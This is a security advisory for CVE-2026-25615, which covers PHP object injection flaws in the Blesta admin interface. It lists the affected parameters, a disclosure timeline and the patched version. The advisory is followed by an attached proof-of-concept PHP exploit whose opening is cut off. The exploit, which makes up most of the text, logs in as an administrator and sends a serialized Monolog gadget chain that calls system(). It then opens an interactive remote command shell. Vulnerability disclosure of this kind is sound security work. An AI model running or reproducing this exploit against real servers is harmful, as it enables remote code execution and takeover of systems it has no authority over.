-------------------------------------------------------------------------------- Blesta <= 5.13.1 (Admin Interface) Multiple PHP Object Injection Vulnerabilities -------------------------------------------------------------------------------- [-] Software Link: https://www.blesta.com [-] Affected Versions: All versions from 3.0.0 to 5.13.1. [-] Vulnerabilities Description: The vulnerabilities exist because user input passed through the "vars" and "order_info" POST parameters when dispatching the /app/controllers/admin_clients.php script, and through the "$group_name" POST parameter when dispatching the /app/controllers/admin_company_groups.php script, is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by malicious administrator users to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as executing arbitrary PHP code (RCE). [-] Proof of Concept: https://karmainsecurity.com/pocs/CVE-2026-25615.php [-] Solution: Apply the vendor patch or upgrade to version 5.13.2 or later. [-] Disclosure Timeline: [19/01/2026] - Vendor notified [20/01/2026] - Vendor response stating: “this issue was previously identified during an internal security review” [22/01/2026] - CVE identifier requested [28/01/2026] - Version 5.13.2 released [31/01/2026] - Version 5.13.3 released to address regressions introduced in 5.13.2 [03/02/2026] - CVE identifier assigned [04/02/2026] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.org) has assigned the name CVE-2026-25615 to these vulnerabilities. [-] Credits: Vulnerabilities discovered by Egidio Romano. [-] Other References: https://www.blesta.com/2026/01/28/security-advisory/ [-] Original Advisory: https://karmainsecurity.com/KIS-2026-02 --- packet storm attached poc: --- \n"; print "\nExample....: php $argv[0] http://localhost/blesta/ egix password"; print "\nExample....: php $argv[0] https://www.blesta.com/ hacker pwned\n\n"; die(); } class Monolog_Handler_SyslogUdpHandler { protected $socket; function __construct($x) { $this->socket = $x; } } class Monolog_Handler_BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; protected $level = null; protected $initialized = true; protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = $this; } } function exec_cmd($cmd) { global $ch, $url, $token; $cmd .= "; echo CMDDELIM"; $chain = new Monolog_Handler_SyslogUdpHandler(new Monolog_Handler_BufferHandler(['current', 'system'], [$cmd, 'level' => null])); $chain = base64_encode(str_replace('_', '\\', serialize($chain))); curl_setopt($ch, CURLOPT_URL, "{$url}admin/clients/makepayment/1/"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["_csrf_token" => $token[1], "vars" => $chain])); return curl_exec($ch); } $url = $argv[1]; $user = $argv[2]; $pwd = $argv[3]; $ch = curl_init(); @unlink("./cookies.txt"); curl_setopt($ch, CURLOPT_URL, "{$url}admin/login/"); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //curl_setopt($ch, CURLOPT_PROXY, 'http://127.0.0.1:8080'); print "\n[+] Performing login with username '{$user}' and password '{$pwd}'\n"; if (!preg_match('/"_csrf_token" value="([^"]+)/i', curl_exec($ch), $token)) die("[-] CSRF token not found!\n\n"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["_csrf_token" => $token[1], "username" => $user, "password" => $pwd])); if (preg_match('/alert-danger/', curl_exec($ch))) die("[-] Login failed!\n\n"); print "[+] Launching shell\n"; curl_setopt($ch, CURLOPT_URL, "{$url}admin/"); curl_setopt($ch, CURLOPT_POST, false); if (!preg_match('/"_csrf_token" value="([^"]+)/i', curl_exec($ch), $token)) die("[-] CSRF token not found!\n\n"); while(1) { print "\nblesta-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match('/(.*)CMDDELIM/s', exec_cmd($cmd), $m) ? print $m[1] : die("\n[-] Exploit failed!\n\n"); }